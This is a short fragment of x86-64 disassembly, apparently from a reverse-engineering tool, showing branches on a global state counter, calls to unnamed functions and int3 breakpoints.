mov dword [0x1401710b0], 2
jmp 0x14006f755
mov eax, dword [0x1401710b0]
jmp 0x14006f79e
mov eax, 1
mov dword [0x1401710b0], eax
cmp eax, 4
jl 0x14006f755
call fcn.140005029
call fcn.140003bc5
cmp dword [0x1401710b0], 6
jl 0x14006f755
call fcn.140005632
jmp 0x14006f755
lea rcx, [rsp + 0x20]
call fcn.140005173
lea rdx, [0x140169a10]
lea rcx, [rsp + 0x20]
call fcn.14000763a
int3
and dword [0x1401710b0], 0
lea rcx, [rsp + 0x20]
call fcn.140005173
lea rdx, [0x140169a10]
lea rcx, [rsp + 0x20]
call fcn.14000763a
int3